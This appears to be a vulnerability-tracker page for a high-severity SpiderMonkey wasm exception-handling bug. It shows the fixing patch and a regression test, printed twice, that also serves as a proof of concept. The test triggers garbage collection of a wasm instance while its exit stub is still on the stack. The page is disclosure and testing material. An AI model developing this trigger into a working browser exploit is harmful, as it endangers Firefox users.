Firefox · SpiderMonkey
CVE-2026-100788
Logic Error in SpiderMonkey
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifjs/src/jit-test/tests/wasm/tail-calls/bug2072413.js |
modified | |
nextjs/src/jit-test/tests/wasm/tail-calls/bug2072413.js |
modified | |
returnjs/src/jit-test/tests/wasm/tail-calls/bug2072413.js |
modified | |
forjs/src/jit-test/tests/wasm/tail-calls/bug2072413.js |
modified |
Files Changed
js/src/jit-test/tests/wasm/tail-calls/bug2072413.jsjs/src/jit/JitFrames.cpp
Patch
diff --git a/js/src/jit/JitFrames.cpp b/js/src/jit/JitFrames.cpp
index 3c845bbc9ca..a516941f275 100644
--- a/js/src/jit/JitFrames.cpp
+++ b/js/src/jit/JitFrames.cpp
@@ -747,9 +747,6 @@ void HandleException(ResumeFromException* rfe) {
}
#endif
- JitFrameIter iter(cx->activation()->asJit(),
- /* mustUnwindActivation = */ true);
-
// Live wasm code on the stack is kept alive (in TraceJitActivation) by
// marking the instance of every wasm::Frame found by WasmFrameIter.
// However, we're going to pop frames while iterating which means that a GC
@@ -760,10 +757,11 @@ void HandleException(ResumeFromException* rfe) {
// jump to the JIT's exception handling trampoline. However, we must keep the
// throw stub alive itself which is owned by the innermost instance.
Rooted<WasmInstanceObject*> keepAlive(cx);
- if (iter.isWasm()) {
- keepAlive = iter.asWasm().instance()->object();
+ if (activation->hasWasmExitFP() && !activation->isWasmTrapping()) {
+ keepAlive = activation->wasmExitInstance()->object();
}
+ JitFrameIter iter(activation, /* mustUnwindActivation = */ true);
CommonFrameLayout* prevJitFrame = nullptr;
while (!iter.done()) {
if (iter.isWasm()) {
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
new file mode 100644
index 00000000000..6c8262f8dd5
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
@@ -0,0 +1,78 @@
+// Regression test for the rooting of the wasm throw stub's owner.
+//
+// While popping frames for an exception, HandleException must keep the
+// innermost wasm instance alive: the throw stub it is about to return into is
+// owned by that instance's code.
+
+const table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance only through the table, so the collapsed
+// frame is the only thing that could otherwise keep it alive.
+const driver = wasmEvalText(`(module
+ (type $t (func (result i32)))
+ (import "m" "table" (table 1 funcref))
+ (func (export "f") (result i32)
+ i32.const 0
+ call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+
+// A proxy, so that the call is routed through an exit stub rather than being
+// specialized to a plain JS function.
+const go = new Proxy(function() {
+ if (!armed) {
+ return 42;
+ }
+ // Drop the last reference to the tail-calling instance, then propagate an
+ // exception back out through its exit stub.
+ table.set(0, null);
+ throw "from import";
+}, {});
+
+function install() {
+ var ins = wasmEvalText(`(module
+ (import "m" "go" (func $go (result i32)))
+ (func (export "f") (result i32)
+ return_call $go)
+ )`, {m: {go}});
+ table.set(0, ins.exports.f);
+ // `ins` is now unreachable except through table[0].
+}
+
+// Unwinding the frame of `run` closes this iterator, and the close hook
+// collects while the exit stub is still on the stack.
+const iterable = {
+ [Symbol.iterator]() {
+ return {
+ next() { return {value: undefined, done: false}; },
+ return() {
+ if (armed) {
+ gc();
+ }
+ return {};
+ }
+ };
+ }
+};
+
+function run() {
+ var [value = driver()] = iterable;
+ return value;
+}
+
+install();
+
+// Warm up without arming, so `run` gets compiled and the lazy stubs exist.
+for (var i = 0; i < 100; i++) {
+ assertEq(run(), 42);
+}
+
+armed = true;
+var caught = null;
+try {
+ run();
+} catch (e) {
+ caught = e;
+}
+assertEq(caught, "from import");
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
new file mode 100644
index 00000000000..6c8262f8dd5
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2072413.js
@@ -0,0 +1,78 @@
+// Regression test for the rooting of the wasm throw stub's owner.
+//
+// While popping frames for an exception, HandleException must keep the
+// innermost wasm instance alive: the throw stub it is about to return into is
+// owned by that instance's code.
+
+const table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance only through the table, so the collapsed
+// frame is the only thing that could otherwise keep it alive.
+const driver = wasmEvalText(`(module
+ (type $t (func (result i32)))
+ (import "m" "table" (table 1 funcref))
+ (func (export "f") (result i32)
+ i32.const 0
+ call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+
+// A proxy, so that the call is routed through an exit stub rather than being
+// specialized to a plain JS function.
+const go = new Proxy(function() {
+ if (!armed) {
+ return 42;
+ }
+ // Drop the last reference to the tail-calling instance, then propagate an
+ // exception back out through its exit stub.
+ table.set(0, null);
+ throw "from import";
+}, {});
+
+function install() {
+ var ins = wasmEvalText(`(module
+ (import "m" "go" (func $go (result i32)))
+ (func (export "f") (result i32)
+ return_call $go)
+ )`, {m: {go}});
+ table.set(0, ins.exports.f);
+ // `ins` is now unreachable except through table[0].
+}
+
+// Unwinding the frame of `run` closes this iterator, and the close hook
+// collects while the exit stub is still on the stack.
+const iterable = {
+ [Symbol.iterator]() {
+ return {
+ next() { return {value: undefined, done: false}; },
+ return() {
+ if (armed) {
+ gc();
+ }
+ return {};
+ }
+ };
+ }
+};
+
+function run() {
+ var [value = driver()] = iterable;
+ return value;
+}
+
+install();
+
+// Warm up without arming, so `run` gets compiled and the lazy stubs exist.
+for (var i = 0; i < 100; i++) {
+ assertEq(run(), 42);
+}
+
+armed = true;
+var caught = null;
+try {
+ run();
+} catch (e) {
+ caught = e;
+}
+assertEq(caught, "from import");
Loading diff…
References
On This Page